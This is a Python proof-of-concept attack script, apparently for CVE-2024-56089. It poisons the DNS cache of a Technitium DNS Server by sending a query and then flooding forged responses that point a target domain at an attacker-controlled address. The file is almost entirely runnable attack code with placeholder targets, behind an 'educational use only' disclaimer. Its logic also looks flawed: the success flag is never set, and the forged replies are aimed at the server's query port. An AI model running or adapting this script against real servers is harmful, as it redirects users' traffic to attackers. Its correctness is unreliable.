#!/usr/bin/env python3
"""
CVE-2024-56089 PoC - Technitium DNS Server Birthday Attack DNS Cache Poisoning
Note: This PoC is for educational and security research purposes only.
"""
import socket
import random
import struct
import time
from datetime import datetime
def craft_dns_query(domain, query_id):
"""Craft a DNS query packet"""
transaction_id = query_id
flags = 0x0100 # Standard query
questions = 1
answer_rrs = 0
authority_rrs = 0
additional_rrs = 0
header = struct.pack('>HHHHHH',
transaction_id, flags, questions,
answer_rrs, authority_rrs, additional_rrs)
qname = b''
for label in domain.split('.'):
qname += bytes([len(label)]) + label.encode()
qname += b'\x00'
qtype = 1 # A record
qclass = 1 # IN
question = qname + struct.pack('>HH', qtype, qclass)
return header + question
def craft_poisoned_response(query_id, domain, malicious_ip):
"""Craft a poisoned DNS response"""
transaction_id = query_id
flags = 0x8180 # Standard response, authoritative
questions = 1
answer_rrs = 1
authority_rrs = 0
additional_rrs = 0
header = struct.pack('>HHHHHH',
transaction_id, flags, questions,
answer_rrs, authority_rrs, additional_rrs)
qname = b''
for label in domain.split('.'):
qname += bytes([len(label)]) + label.encode()
qname += b'\x00'
qtype = 1
qclass = 1
question = qname + struct.pack('>HH', qtype, qclass)
# Answer section
answer_name = b'\xc0\x0c' # Pointer to question name
answer_type = 1 # A record
answer_class = 1 # IN
ttl = 300 # Cache TTL
rdlength = 4 # IPv4 address length
rdata = socket.inet_aton(malicious_ip)
answer = answer_name + struct.pack('>HHIH', answer_type, answer_class, ttl, rdlength) + rdata
return header + question + answer
def birthday_attack(target_ip, target_port, domain, malicious_ip, num_attempts=1000):
"""
Perform birthday attack on DNS server
The attack exploits the birthday paradox to reduce entropy
"""
print(f"[*] Starting birthday attack on {target_ip}:{target_port}")
print(f"[*] Target domain: {domain}")
print(f"[*] Malicious IP: {malicious_ip}")
print(f"[*] Number of attempts: {num_attempts}")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
success = False
for i in range(num_attempts):
# Generate random query ID (16-bit)
query_id = random.randint(0, 65535)
# Send legitimate query
query = craft_dns_query(domain, query_id)
sock.sendto(query, (target_ip, target_port))
# Wait for response or send poisoned responses
try:
data, addr = sock.recvfrom(512)
received_id = struct.unpack('>H', data[0:2])[0]
print(f"[~] Received response with ID: {received_id}")
except socket.timeout:
pass
# Send multiple poisoned responses with different IDs
for j in range(100): # Multiple responses to exploit birthday effect
fake_id = (query_id + j) % 65536
poisoned = craft_poisoned_response(fake_id, domain, malicious_ip)
try:
sock.sendto(poisoned, (target_ip, target_port))
except:
pass
if (i + 1) % 100 == 0:
print(f"[*] Progress: {i + 1}/{num_attempts} attempts")
sock.close()
print("[*] Attack completed. Verify cache poisoning with DNS query.")
return success
if __name__ == "__main__":
# Configuration - replace with actual target
TARGET_IP = "192.168.1.100" # Target DNS server IP
TARGET_PORT = 53
TARGET_DOMAIN = "example.com"
MALICIOUS_IP = "198.51.100.1" # Attacker's controlled IP
print(f"[!] CVE-2024-56089 PoC - Educational Use Only")
birthday_attack(TARGET_IP, TARGET_PORT, TARGET_DOMAIN, MALICIOUS_IP)